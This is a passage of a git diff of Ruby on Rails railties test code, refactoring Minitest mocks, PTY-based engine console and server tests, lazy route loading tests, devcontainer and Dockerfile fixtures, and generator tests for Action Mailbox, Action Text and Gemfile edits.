+        @stack.move_after :foo
+        assert_playback :move_after, :foo
+      end
+
       def test_order
         @stack.swap :foo
         @stack.delete :foo
 
-        mock = Minitest::Mock.new
-        mock.expect :send, nil, [:swap, :foo]
-        mock.expect :send, nil, [:delete, :foo]
-
-        @stack.merge_into mock
-        mock.verify
+        assert_playback([:swap, :delete], :foo)
       end
 
       private
-
-        def assert_playback(msg_name, args)
+        def assert_playback(msg_names, args)
+          self.assertions += 1
           mock = Minitest::Mock.new
-          mock.expect :send, nil, [msg_name, args]
+          Array(msg_names).each do |msg_name|
+            mock.expect msg_name, nil, [args]
+          end
           @stack.merge_into(mock)
           mock.verify
         end
diff --git a/railties/test/console_helpers.rb b/railties/test/console_helpers.rb
new file mode 100644
index 0000000000000..10d3a546025aa
--- /dev/null
+++ b/railties/test/console_helpers.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+begin
+  require "pty"
+rescue LoadError
+end
+
+module ConsoleHelpers
+  def assert_output(expected, io, timeout = 10)
+    timeout = Time.now + timeout
+
+    output = +""
+    until output.include?(expected) || Time.now > timeout
+      if IO.select([io], [], [], 0.1)
+        output << io.read(1)
+      end
+    end
+
+    assert_includes output, expected, "#{expected.inspect} expected, but got:\n\n#{output}"
+  end
+end
+
+def available_pty?
+  defined?(PTY) && PTY.respond_to?(:open)
+end
diff --git a/railties/test/engine/commands_test.rb b/railties/test/engine/commands_test.rb
index b1c937143f237..3e888ce0d86b5 100644
--- a/railties/test/engine/commands_test.rb
+++ b/railties/test/engine/commands_test.rb
@@ -1,13 +1,17 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
-begin
-  require "pty"
-rescue LoadError
-end
+require "console_helpers"
+require "plugin_helpers"
+require "net/http"
 
 class Rails::Engine::CommandsTest < ActiveSupport::TestCase
+  include ConsoleHelpers
+  include PluginHelpers
+
   def setup
     @destination_root = Dir.mktmpdir("bukkits")
-    Dir.chdir(@destination_root) { `bundle exec rails plugin new bukkits --mountable` }
+    generate_plugin("#{@destination_root}/bukkits", "--mountable")
   end
 
   def teardown
@@ -16,47 +20,63 @@ def teardown
 
   def test_help_command_work_inside_engine
     output = capture(:stderr) do
-      Dir.chdir(plugin_path) { `bin/rails --help` }
+      in_plugin_context(plugin_path) { `bin/rails --help` }
     end
     assert_no_match "NameError", output
   end
 
   def test_runner_command_work_inside_engine
     output = capture(:stdout) do
-      Dir.chdir(plugin_path) { system("bin/rails runner 'puts Rails.env'") }
+      in_plugin_context(plugin_path) { system({ "RAILS_ENV" => "test" }, "bin/rails runner 'puts Rails.env'") }
     end
 
     assert_equal "test", output.strip
   end
 
-  def test_console_command_work_inside_engine
-    skip "PTY unavailable" unless available_pty?
+  if available_pty?
+    def test_console_command_work_inside_engine
+      primary, replica = PTY.open
+      cmd = "console"
+      spawn_command(cmd, replica, env: { "TERM" => "dumb" })
+      assert_output(">", primary)
+    ensure
+      primary.puts "quit"
+    end
 
-    master, slave = PTY.open
-    spawn_command("console", slave)
-    assert_output(">", master)
-  ensure
-    master.puts "quit"
-  end
+    def test_dbconsole_command_work_inside_engine
+      primary, replica = PTY.open
+      spawn_command("dbconsole", replica)
+      assert_output("sqlite>", primary)
+    ensure
+      primary.puts ".exit"
+    end
+
+    def test_server_command_work_inside_engine
+      primary, replica = PTY.open
+      pid = spawn_command("server", replica)
+      assert_output("Listening on", primary)
+    ensure
+      kill(pid)
+    end
 
-  def test_dbconsole_command_work_inside_engine
-    skip "PTY unavailable" unless available_pty?
+    def test_server_command_broadcast_logs
+      primary, replica = PTY.open
+      pid = spawn_command("server", replica, env: { "RAILS_ENV" => "development" })
+      assert_output("Listening on", primary)
 
-    master, slave = PTY.open
-    spawn_command("dbconsole", slave)
-    assert_output("sqlite>", master)
-  ensure
-    master.puts ".exit"
-  end
+      Net::HTTP.new("127.0.0.1", 3000).tap do |net|
+        net.get("/")
+      end
 
-  def test_server_command_work_inside_engine
-    skip "PTY unavailable" unless available_pty?
+      in_plugin_context(plugin_path) do
+        logs = File.read("test/dummy/log/development.log")
+        assert_match("Processing by Rails::WelcomeController", logs)
+      end
 
-    master, slave = PTY.open
-    pid = spawn_command("server", slave)
-    assert_output("Listening on", master)
-  ensure
-    kill(pid)
+      assert_output("Processing by Rails::WelcomeController", primary)
+    ensure
+      kill(pid)
+    end
   end
 
   private
@@ -64,28 +84,10 @@ def plugin_path
       "#{@destination_root}/bukkits"
     end
 
-    def assert_output(expected, io, timeout = 10)
-      timeout = Time.now + timeout
-
-      output = ""
-      until output.include?(expected) || Time.now > timeout
-        if IO.select([io], [], [], 0.1)
-          output << io.read(1)
-        end
+    def spawn_command(command, fd, env: {})
+      in_plugin_context(plugin_path) do
+        Process.spawn(env, "bin/rails #{command}", in: fd, out: fd, err: fd)
       end
-
-      assert_includes output, expected, "#{expected.inspect} expected, but got:\n\n#{output}"
-    end
-
-    def spawn_command(command, fd)
-      Process.spawn(
-        "#{plugin_path}/bin/rails #{command}",
-        in: fd, out: fd, err: fd
-      )
-    end
-
-    def available_pty?
-      defined?(PTY) && PTY.respond_to?(:open)
     end
 
     def kill(pid)
diff --git a/railties/test/engine/lazy_route_set_test.rb b/railties/test/engine/lazy_route_set_test.rb
new file mode 100644
index 0000000000000..a26d79bc75fa2
--- /dev/null
+++ b/railties/test/engine/lazy_route_set_test.rb
@@ -0,0 +1,202 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rack/test"
+
+module Rails
+  class Engine
+    class LazyRouteSetTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
+
+      setup :build_app
+      teardown :teardown_app
+
+      class UsersController < ActionController::Base
+      end
+
+      test "app lazily loads routes when invoking url helpers" do
+        require "#{app_path}/config/environment"
+
+        assert_not_operator(:root_path, :in?, app_url_helpers.methods)
+        assert_equal("/", app_url_helpers.root_path)
+      end
+
+      test "engine lazily loads routes when invoking url helpers" do
+        require "#{app_path}/config/environment"
+
+        assert_not_operator(:root_path, :in?, engine_url_helpers.methods)
+        assert_equal("/plugin/", engine_url_helpers.root_path)
+      end
+
+      test "app lazily loads routes when checking respond_to?" do
+        require "#{app_path}/config/environment"
+
+        assert_not_operator(:root_path, :in?, app_url_helpers.methods)
+        assert_operator(app_url_helpers, :respond_to?, :root_path)
+      end
+
+      test "engine lazily loads routes when checking respond_to?" do
+        require "#{app_path}/config/environment"
+
+        assert_not_operator(:root_path, :in?, engine_url_helpers.methods)
+        assert_operator(engine_url_helpers, :respond_to?, :root_path)
+      end
+
+      test "app lazily loads routes when making a request" do
+        require "#{app_path}/config/environment"
+
+        @app = Rails.application
+
+        assert_not_operator(:root_path, :in?, app_url_helpers.methods)
+        response = get("/")
+        assert_equal(200, response.first)
+      end
+
+      test "app lazily loads routes when polymorphic_url is called" do
+        app_file "test/integration/my_test.rb", <<~RUBY
+          require "test_helper"
+
+          class MyTest < ActionDispatch::IntegrationTest
+            test "polymorphic_url works" do
+              puts polymorphic_url(Comment.new)
+            end
+          end
+        RUBY
+
+        app_file "app/models/comment.rb", <<~RUBY
+          class Comment
+          end
+        RUBY
+
+        output = rails("test", "test/integration/my_test.rb")
+        assert_match("https://example.org", output)
+      end
+
+      test "engine lazily loads routes when making a request" do
+        require "#{app_path}/config/environment"
+
+        @app = Rails.application
+
+        assert_not_operator(:root_path, :in?, engine_url_helpers.methods)
+        response = get("/plugin/")
+        assert_equal(200, response.first)
+      end
+
+      test "app lazily loads routes when url_for is used" do
+        require "#{app_path}/config/environment"
+
+        @app = Rails.application
+
+        assert_not_operator(:products_path, :in?, app_url_helpers.methods)
+        assert_equal "/products", app_url_helpers.url_for(
+          controller: :products, action: :index, only_path: true,
+        )
+        assert_operator(:products_path, :in?, app_url_helpers.methods)
+      end
+
+      test "engine lazily loads routes when url_for is used" do
+        require "#{app_path}/config/environment"
+
+        @app = Rails.application
+
+        assert_not_operator(:plugin_posts_path, :in?, engine_url_helpers.methods)
+        assert_equal "/plugin/posts", engine_url_helpers.url_for(
+          controller: :posts, action: :index, only_path: true,
+        )
+        assert_not_operator(:plugin_posts_path, :in?, engine_url_helpers.methods)
+      end
+
+      test "railties can access lazy routes" do
+        app_file("config/application.rb", <<~RUBY, "a+")
+
+          class MyRailtie < ::Rails::Railtie
+            initializer :some_railtie_init do |app|
+              app.routes
+            end
+          end
+        RUBY
+
+        require "#{app_path}/config/environment"
+
+        assert_operator(Rails.application.routes, :is_a?, Engine::LazyRouteSet)
+      end
+
+      test "reloads routes when recognize_path is called" do
+        require "#{app_path}/config/environment"
+
+        assert_equal(
+          { controller: "rails/engine/lazy_route_set_test/users", action: "index" },
+          Rails.application.routes.recognize_path("/users")
+        )
+      end
+
+      test "reloads routes when recognize_path_with_request is called" do
+        require "#{app_path}/config/environment"
+
+        path = "/users"
+        req = ActionDispatch::Request.new(::Rack::MockRequest.env_for(path))
+
+        assert_equal(
+          { controller: "rails/engine/lazy_route_set_test/users", action: "index" },
+          Rails.application.routes.recognize_path_with_request(req, path, {})
+        )
+      end
+
+      private
+        def build_app
+          super
+
+          app_file "app/models/user.rb", <<~RUBY
+            class User < ActiveRecord::Base
+            end
+          RUBY
+
+          app_file "config/routes.rb", <<~RUBY
+            Rails.application.routes.draw do
+              root to: proc { [200, {}, []] }
+
+              resources :products
+              resources :users, module: "rails/engine/lazy_route_set_test"
+              resolve("Comment") { "https://example.org" }
+
+              mount Plugin::Engine, at: "/plugin"
+            end
+          RUBY
+
+          build_engine
+        end
+
+        def build_engine
+          engine "plugin" do |plugin|
+            plugin.write "app/models/post.rb", <<~RUBY
+              class Post < ActiveRecord::Base
+              end
+            RUBY
+
+            plugin.write "lib/plugin.rb", <<~RUBY
+              module Plugin
+                class Engine < ::Rails::Engine
+                end
+              end
+            RUBY
+
+            plugin.write "config/routes.rb", <<~RUBY
+              Plugin::Engine.routes.draw do
+                root to: proc { [200, {}, []] }
+
+                resources(:posts)
+              end
+            RUBY
+          end
+        end
+
+        def app_url_helpers
+          Rails.application.routes.url_helpers
+        end
+
+        def engine_url_helpers
+          Plugin::Engine.routes.url_helpers
+        end
+    end
+  end
+end
diff --git a/railties/test/engine/test_test.rb b/railties/test/engine/test_test.rb
new file mode 100644
index 0000000000000..43d6205598b55
--- /dev/null
+++ b/railties/test/engine/test_test.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "plugin_helpers"
+
+class Rails::Engine::TestTest < ActiveSupport::TestCase
+  include PluginHelpers
+
+  setup do
+    @destination_root = Dir.mktmpdir("bukkits")
+    generate_plugin("#{@destination_root}/bukkits", "--mountable")
+  end
+
+  teardown do
+    FileUtils.rm_rf(@destination_root)
+  end
+
+  test "automatically synchronize test schema" do
+    in_plugin_context(plugin_path) do
+      # In order to confirm that migration files are loaded, generate multiple migration files.
+      `bin/rails generate model user name:string;
+       bin/rails generate model todo name:string;
+       RAILS_ENV=development bin/rails db:migrate`
+
+      output = `bin/rails test test/models/bukkits/user_test.rb`
+      assert_includes(output, "0 runs, 0 assertions, 0 failures, 0 errors, 0 skips")
+    end
+  end
+
+  private
+    def plugin_path
+      "#{@destination_root}/bukkits"
+    end
+end
diff --git a/railties/test/engine_test.rb b/railties/test/engine_test.rb
index 248afa2d2cfbb..19379e200c01d 100644
--- a/railties/test/engine_test.rb
+++ b/railties/test/engine_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class EngineTest < ActiveSupport::TestCase
@@ -9,7 +11,7 @@ def initialize(*args)
       end
     end
 
-    assert !engine.routes?
+    assert_not_predicate engine, :routes?
   end
 
   def test_application_can_be_subclassed
diff --git a/railties/test/env_helpers.rb b/railties/test/env_helpers.rb
index 1f64d5fda354e..a9b4d98f80663 100644
--- a/railties/test/env_helpers.rb
+++ b/railties/test/env_helpers.rb
@@ -1,23 +1,20 @@
+# frozen_string_literal: true
+
 require "rails"
 
 module EnvHelpers
   private
-
-    def with_rails_env(env)
+    def with_rails_env(env, &block)
       Rails.instance_variable_set :@_env, nil
       switch_env "RAILS_ENV", env do
-        switch_env "RACK_ENV", nil do
-          yield
-        end
+        switch_env "RACK_ENV", nil, &block
       end
     end
 
-    def with_rack_env(env)
+    def with_rack_env(env, &block)
       Rails.instance_variable_set :@_env, nil
       switch_env "RACK_ENV", env do
-        switch_env "RAILS_ENV", nil do
-          yield
-        end
+        switch_env "RAILS_ENV", nil, &block
       end
     end
 
diff --git a/railties/test/fixtures/.devcontainer/compose-minimal.yaml b/railties/test/fixtures/.devcontainer/compose-minimal.yaml
new file mode 100644
index 0000000000000..44fa624fa833a
--- /dev/null
+++ b/railties/test/fixtures/.devcontainer/compose-minimal.yaml
@@ -0,0 +1,11 @@
+services:
+  rails-app:
+    build:
+      context: ..
+      dockerfile: .devcontainer/Dockerfile
+
+    volumes:
+    - ../..:/workspaces:cached
+
+    # Overrides default command so things don't shut down after the process ends.
+    command: sleep infinity
diff --git a/railties/test/fixtures/.devcontainer/compose.yaml b/railties/test/fixtures/.devcontainer/compose.yaml
new file mode 100644
index 0000000000000..17dbc96e2b961
--- /dev/null
+++ b/railties/test/fixtures/.devcontainer/compose.yaml
@@ -0,0 +1,33 @@
+services:
+  rails-app:
+    build:
+      context: ..
+      dockerfile: .devcontainer/Dockerfile
+
+    volumes:
+      - ../..:/workspaces:cached
+
+    # Overrides default command so things don't shut down after the process ends.
+    command: sleep infinity
+
+    # Uncomment the next line to use a non-root user for all processes.
+    # user: vscode
+
+    # Use "forwardPorts" in **devcontainer.json** to forward an app port locally.
+    # (Adding the "ports" property to this file will not forward from a Codespace.)
+    depends_on:
+    - selenium
+    - redis
+
+  selenium:
+    image: selenium/standalone-chromium
+    restart: unless-stopped
+
+  redis:
+    image: valkey/valkey:8
+    restart: unless-stopped
+    volumes:
+    - redis-data:/data
+
+volumes:
+  redis-data:
diff --git a/railties/test/fixtures/.devcontainer/devcontainer.json b/railties/test/fixtures/.devcontainer/devcontainer.json
new file mode 100644
index 0000000000000..d6fd58c65a423
--- /dev/null
+++ b/railties/test/fixtures/.devcontainer/devcontainer.json
@@ -0,0 +1,31 @@
+// For format details, see https://containers.dev/implementors/json_reference/.
+// For config options, see the README at: https://github.com/devcontainers/templates/tree/main/src/ruby
+{
+  "name": "tmp",
+  "dockerComposeFile": "compose.yaml",
+  "service": "rails-app",
+  "workspaceFolder": "/workspaces/${localWorkspaceFolderBasename}",
+
+  // Features to add to the dev container. More info: https://containers.dev/features.
+  "features": {
+    "ghcr.io/devcontainers/features/github-cli:1": {}
+  },
+
+  "containerEnv": {
+    "CAPYBARA_SERVER_PORT": "45678",
+    "SELENIUM_HOST": "selenium",
+    "REDIS_URL": "redis://redis:6379/1"
+  },
+
+  // Use 'forwardPorts' to make a list of ports inside the container available locally.
+  // "forwardPorts": [],
+
+  // Configure tool-specific properties.
+  // "customizations": {},
+
+  // Uncomment to connect as root instead. More info: https://containers.dev/implementors/json_reference/#remoteUser.
+  // "remoteUser": "root",
+
+  // Use 'postCreateCommand' to run commands after the container is created.
+  "postCreateCommand": "bin/setup --skip-server"
+}
diff --git a/railties/test/fixtures/Dockerfile.test b/railties/test/fixtures/Dockerfile.test
new file mode 100644
index 0000000000000..fca159c75ccb7
--- /dev/null
+++ b/railties/test/fixtures/Dockerfile.test
@@ -0,0 +1,62 @@
+# syntax = docker/dockerfile:1
+
+# Make sure RUBY_VERSION matches the Ruby version in .ruby-version and Gemfile
+ARG RUBY_VERSION=3.2.2
+FROM docker.io/library/ruby:$RUBY_VERSION-slim AS base
+
+# Rails app lives here
+WORKDIR /rails
+
+# Install base packages
+RUN apt-get update -qq && \
+    apt-get install --no-install-recommends -y curl libjemalloc2 libvips sqlite3
+
+# Set production environment
+ENV RAILS_ENV="production" \
+    BUNDLE_DEPLOYMENT="1" \
+    BUNDLE_PATH="/usr/local/bundle" \
+    BUNDLE_WITHOUT="development"
+
+# Throw-away build stage to reduce size of final image
+FROM base AS build
+
+# Install packages needed to build gems
+RUN apt-get install --no-install-recommends -y build-essential git pkg-config
+
+# Install application gems
+COPY Gemfile Gemfile.lock ./
+RUN bundle install && \
+    rm -rf ~/.bundle/ "${BUNDLE_PATH}"/ruby/*/cache "${BUNDLE_PATH}"/ruby/*/bundler/gems/*/.git && \
+    # -j 1 disable parallel compilation to avoid a QEMU bug: https://github.com/rails/bootsnap/issues/495
+    bundle exec bootsnap precompile -j 1 --gemfile
+
+# Copy application code
+COPY . .
+
+# Precompile bootsnap code for faster boot times (single-threaded to mitigate Buildx/QEMU hang)
+RUN bundle exec bootsnap precompile -j 1 app/ lib/
+
+# Precompiling assets for production without requiring secret RAILS_MASTER_KEY
+RUN SECRET_KEY_BASE_DUMMY=1 ./bin/rails assets:precompile
+
+# Final stage for app image
+FROM base
+
+# Clean up installation packages to reduce image size
+RUN rm -rf /var/lib/apt/lists /var/cache/apt/archives
+
+# Copy built artifacts: gems, application
+COPY --from=build "${BUNDLE_PATH}" "${BUNDLE_PATH}"
+COPY --from=build /rails /rails
+
+# Run and own only the runtime files as a non-root user for security
+RUN useradd rails --create-home --shell /bin/bash && \
+    chown -R rails:rails db log storage tmp
+USER rails:rails
+
+# Entrypoint prepares the database.
+ENTRYPOINT ["/rails/bin/docker-entrypoint"]
+
+# Start the server by default, this can be overwritten at runtime
+EXPOSE 3000
+CMD ["./bin/rails", "server"]
diff --git a/railties/test/fixtures/Rakefile b/railties/test/fixtures/Rakefile
new file mode 100644
index 0000000000000..426626203120a
--- /dev/null
+++ b/railties/test/fixtures/Rakefile
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+Rails.application.load_tasks
diff --git a/railties/test/fixtures/about_yml_plugins/bad_about_yml/about.yml b/railties/test/fixtures/about_yml_plugins/bad_about_yml/about.yml
deleted file mode 100644
index fe80872a1684e..0000000000000
--- a/railties/test/fixtures/about_yml_plugins/bad_about_yml/about.yml
+++ /dev/null
@@ -1 +0,0 @@
-# an empty YAML file - any content in here seems to get parsed as a string
\ No newline at end of file
diff --git a/railties/test/fixtures/about_yml_plugins/bad_about_yml/init.rb b/railties/test/fixtures/about_yml_plugins/bad_about_yml/init.rb
deleted file mode 100644
index 636bc1a8abf95..0000000000000
--- a/railties/test/fixtures/about_yml_plugins/bad_about_yml/init.rb
+++ /dev/null
@@ -1 +0,0 @@
-# intentionally empty
diff --git a/railties/test/fixtures/about_yml_plugins/plugin_without_about_yml/init.rb b/railties/test/fixtures/about_yml_plugins/plugin_without_about_yml/init.rb
deleted file mode 100644
index 636bc1a8abf95..0000000000000
--- a/railties/test/fixtures/about_yml_plugins/plugin_without_about_yml/init.rb
+++ /dev/null
@@ -1 +0,0 @@
-# intentionally empty
diff --git a/railties/test/fixtures/files/racecar.jpg b/railties/test/fixtures/files/racecar.jpg
new file mode 100644
index 0000000000000..934b4caa22704
Binary files /dev/null and b/railties/test/fixtures/files/racecar.jpg differ
diff --git a/railties/test/fixtures/lib/create_test_dummy_template.rb b/railties/test/fixtures/lib/create_test_dummy_template.rb
index e4378bbd1a51a..b9eb6a912dd01 100644
--- a/railties/test/fixtures/lib/create_test_dummy_template.rb
+++ b/railties/test/fixtures/lib/create_test_dummy_template.rb
@@ -1 +1,3 @@
+# frozen_string_literal: true
+
 create_dummy_app("spec/dummy")
diff --git a/railties/test/fixtures/lib/generators/active_record/fixjour_generator.rb b/railties/test/fixtures/lib/generators/active_record/fixjour_generator.rb
index 1139350b94022..f196971f20fea 100644
--- a/railties/test/fixtures/lib/generators/active_record/fixjour_generator.rb
+++ b/railties/test/fixtures/lib/generators/active_record/fixjour_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/active_record"
 
 module ActiveRecord
diff --git a/railties/test/fixtures/lib/generators/fixjour_generator.rb b/railties/test/fixtures/lib/generators/fixjour_generator.rb
index ef3e9edbed9b8..22197835a866c 100644
--- a/railties/test/fixtures/lib/generators/fixjour_generator.rb
+++ b/railties/test/fixtures/lib/generators/fixjour_generator.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 class FixjourGenerator < Rails::Generators::NamedBase
 end
diff --git a/railties/test/fixtures/lib/generators/model_generator.rb b/railties/test/fixtures/lib/generators/model_generator.rb
index 0905fa9631d5b..3009472c3d161 100644
--- a/railties/test/fixtures/lib/generators/model_generator.rb
+++ b/railties/test/fixtures/lib/generators/model_generator.rb
@@ -1 +1,3 @@
+# frozen_string_literal: true
+
 raise "I should never be loaded"
diff --git a/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb
index 21b0ff6c281e2..5a847a8bd2b99 100644
--- a/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb
+++ b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 require "rails/generators"
 
 class UsageTemplateGenerator < Rails::Generators::Base
-  source_root File.expand_path("templates", File.dirname(__FILE__))
+  source_root File.expand_path("templates", __dir__)
 end
diff --git a/railties/test/fixtures/lib/rails/generators/foobar/foobar_generator.rb b/railties/test/fixtures/lib/rails/generators/foobar/foobar_generator.rb
index d1de8c56fa27f..159843866c330 100644
--- a/railties/test/fixtures/lib/rails/generators/foobar/foobar_generator.rb
+++ b/railties/test/fixtures/lib/rails/generators/foobar/foobar_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Foobar
   class FoobarGenerator < Rails::Generators::Base
   end
diff --git a/railties/test/fixtures/lib/template.rb b/railties/test/fixtures/lib/template.rb
index c14a1a8784bf9..44083c25e87b6 100644
--- a/railties/test/fixtures/lib/template.rb
+++ b/railties/test/fixtures/lib/template.rb
@@ -1 +1,3 @@
+# frozen_string_literal: true
+
 say "It works from file!"
diff --git a/railties/test/fixtures/log/test.log b/railties/test/fixtures/log/test.log
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/railties/test/fixtures/test/application_system_test_case.rb b/railties/test/fixtures/test/application_system_test_case.rb
new file mode 100644
index 0000000000000..be126df99196d
--- /dev/null
+++ b/railties/test/fixtures/test/application_system_test_case.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :headless_chrome, screen_size: [ 1400, 1400 ]
+end
diff --git a/railties/test/generators/action_mailbox_install_generator_test.rb b/railties/test/generators/action_mailbox_install_generator_test.rb
new file mode 100644
index 0000000000000..1822b04d4500c
--- /dev/null
+++ b/railties/test/generators/action_mailbox_install_generator_test.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require "generators/generators_test_helper"
+require "generators/action_mailbox/install/install_generator"
+
+class ActionMailbox::Generators::InstallGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  def setup
+    Rails.application = TestApp::Application
+    Rails.application.config.root = Pathname(destination_root)
+
+    production_env_config = Pathname("config/environments/production.rb").expand_path(destination_root)
+    production_env_config.dirname.mkpath
+    production_env_config.write <<~PRODUCTION
+      Rails.application.configure do
+      end
+    PRODUCTION
+  end
+
+  def teardown
+    Rails.application = Rails.application.instance
+  end
+
+  def test_create_action_mailbox_files
+    with_database_configuration { run_generator }
+
+    assert_file "app/mailboxes/application_mailbox.rb"
+  end
+
+  def test_add_action_mailbox_production_environment_config
+    with_database_configuration { run_generator }
+
+    assert_file "config/environments/production.rb" do |content|
+      assert_match("Prepare the ingress controller used to receive mail", content)
+      assert_match("config.action_mailbox.ingress = :relay", content)
+    end
+  end
+
+  def test_create_migrations
+    with_database_configuration { run_generator }
+
+    assert_migration "db/migrate/create_active_storage_tables.active_storage.rb"
+    assert_migration "db/migrate/create_action_mailbox_tables.action_mailbox.rb"
+  end
+end
diff --git a/railties/test/generators/action_text_install_generator_test.rb b/railties/test/generators/action_text_install_generator_test.rb
new file mode 100644
index 0000000000000..92e3b64e473f3
--- /dev/null
+++ b/railties/test/generators/action_text_install_generator_test.rb
@@ -0,0 +1,89 @@
+# frozen_string_literal: true
+
+require "generators/generators_test_helper"
+require "generators/action_text/install/install_generator"
+
+class ActionText::Generators::InstallGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  setup do
+    Rails.application = Rails.application.class
+    Rails.application.config.root = Pathname(destination_root)
+
+    FileUtils.mkdir_p("#{destination_root}/app/javascript")
+    FileUtils.touch("#{destination_root}/app/javascript/application.js")
+
+    FileUtils.mkdir_p("#{destination_root}/app/assets/stylesheets")
+
+    FileUtils.mkdir_p("#{destination_root}/config")
+    FileUtils.touch("#{destination_root}/config/importmap.rb")
+  end
+
+  teardown do
+     Rails.application = Rails.application.instance
+   end
+
+  test "installs JavaScript dependencies" do
+    FileUtils.touch("#{destination_root}/package.json")
+
+    run_generator_instance
+    assert_includes @run_commands, "yarn add trix"
+    assert_includes @run_commands, "yarn add @rails/actiontext"
+  end
+
+  test "throws warning for missing entry point" do
+    FileUtils.rm("#{destination_root}/app/javascript/application.js")
+    output = run_generator_instance
+    assert_match "You must import the @rails/actiontext JavaScript module", output
+    assert_match "You must import the trix JavaScript module", output
+  end
+
+  test "imports JavaScript dependencies in application.js" do
+    run_generator_instance
+
+    assert_file "app/javascript/application.js" do |content|
+      assert_match %r"^#{Regexp.escape 'import "@rails/actiontext"'}", content
+      assert_match %r"^#{Regexp.escape 'import "trix"'}", content
+    end
+  end
+
+  test "pins JavaScript dependencies in importmap.rb" do
+    run_generator_instance
+
+    assert_file "config/importmap.rb" do |content|
+      assert_match %r|pin "@rails/actiontext"|, content
+      assert_match %r|pin "trix"|, content
+    end
+  end
+
+  test "creates Action Text stylesheet" do
+    run_generator_instance
+    assert_file "app/assets/stylesheets/actiontext.css"
+  end
+
+  test "creates Active Storage view partial" do
+    run_generator_instance
+    assert_file "app/views/active_storage/blobs/_blob.html.erb"
+  end
+
+  test "creates Action Text content view layout" do
+    run_generator_instance
+    assert_file "app/views/layouts/action_text/contents/_content.html.erb"
+  end
+
+  test "creates migrations" do
+    run_generator_instance
+    assert_migration "db/migrate/create_active_storage_tables.active_storage.rb"
+    assert_migration "db/migrate/create_action_text_tables.action_text.rb"
+  end
+
+  private
+    def run_generator_instance
+      @run_commands = []
+      run_command_stub = -> (command, *) { @run_commands << command }
+
+      generator.stub :run, run_command_stub do
+        with_database_configuration { super }
+      end
+    end
+end
diff --git a/railties/test/generators/actions_test.rb b/railties/test/generators/actions_test.rb
index 360e8e97d7061..b0c90ef935054 100644
--- a/railties/test/generators/actions_test.rb
+++ b/railties/test/generators/actions_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/app/app_generator"
 require "env_helpers"
@@ -29,19 +31,19 @@ def test_invoke_other_generator_with_full_namespace
   end
 
   def test_create_file_should_write_data_to_file_path
-    action :create_file, "lib/test_file.rb", "heres test data"
-    assert_file "lib/test_file.rb", "heres test data"
+    action :create_file, "lib/test_file.rb", "here's test data"
+    assert_file "lib/test_file.rb", "here's test data"
   end
 
   def test_create_file_should_write_block_contents_to_file_path
-    action(:create_file, "lib/test_file.rb") { "heres block data" }
-    assert_file "lib/test_file.rb", "heres block data"
+    action(:create_file, "lib/test_file.rb") { "here's block data" }
+    assert_file "lib/test_file.rb", "here's block data"
   end
 
   def test_add_source_adds_source_to_gemfile
     run_generator
     action :add_source, "http://gems.github.com"
-    assert_file "Gemfile", /source 'http:\/\/gems\.github\.com'/
+    assert_file "Gemfile", /source "http:\/\/gems\.github\.com"\n/
   end
 
   def test_add_source_with_block_adds_source_to_gemfile_with_gem
@@ -49,7 +51,7 @@ def test_add_source_with_block_adds_source_to_gemfile_with_gem
     action :add_source, "http://gems.github.com" do
       gem "rspec-rails"
     end
-    assert_file "Gemfile", /source 'http:\/\/gems\.github\.com' do\n  gem 'rspec-rails'\nend/
+    assert_file "Gemfile", /\n\nsource "http:\/\/gems\.github\.com" do\n  gem "rspec-rails"\nend\n\z/
   end
 
   def test_add_source_with_block_adds_source_to_gemfile_after_gem
@@ -58,21 +60,40 @@ def test_add_source_with_block_adds_source_to_gemfile_after_gem
     action :add_source, "http://gems.github.com" do
       gem "rspec-rails"
     end
-    assert_file "Gemfile", /gem 'will-paginate'\nsource 'http:\/\/gems\.github\.com' do\n  gem 'rspec-rails'\nend/
+    assert_file "Gemfile", /\ngem "will-paginate"\n\nsource "http:\/\/gems\.github\.com" do\n  gem "rspec-rails"\nend\n\z/
+  end
+
+  def test_add_source_should_create_newline_between_blocks
+    run_generator
+    action :add_source, "http://gems.github.com" do
+      gem "rspec-rails"
+    end
+
+    action :add_source, "http://gems2.github.com" do
+      gem "fakeweb"
+    end
+    assert_file "Gemfile", /\n\nsource "http:\/\/gems\.github\.com" do\n  gem "rspec-rails"\nend\n\nsource "http:\/\/gems2\.github\.com" do\n  gem "fakeweb"\nend\n\z/
   end
 
   def test_gem_should_put_gem_dependency_in_gemfile
     run_generator
     action :gem, "will-paginate"
-    assert_file "Gemfile", /gem 'will\-paginate'/
+    assert_file "Gemfile", /gem "will-paginate"\n\z/
   end
 
   def test_gem_with_version_should_include_version_in_gemfile
     run_generator
-
-    action :gem, "rspec", ">=2.0.0.a5"
-
-    assert_file "Gemfile", /gem 'rspec', '>=2.0.0.a5'/
+    action :gem, "rspec", ">= 2.0.0.a5"
+    action :gem, "RedCloth", ">= 4.1.0", "< 4.2.0"
+    action :gem, "nokogiri", version: ">= 1.4.2"
+    action :gem, "faker", version: [">= 0.1.0", "< 0.3.0"]
+
+    assert_file "Gemfile" do |content|
+      assert_match(/gem "rspec", ">= 2\.0\.0\.a5"/, content)
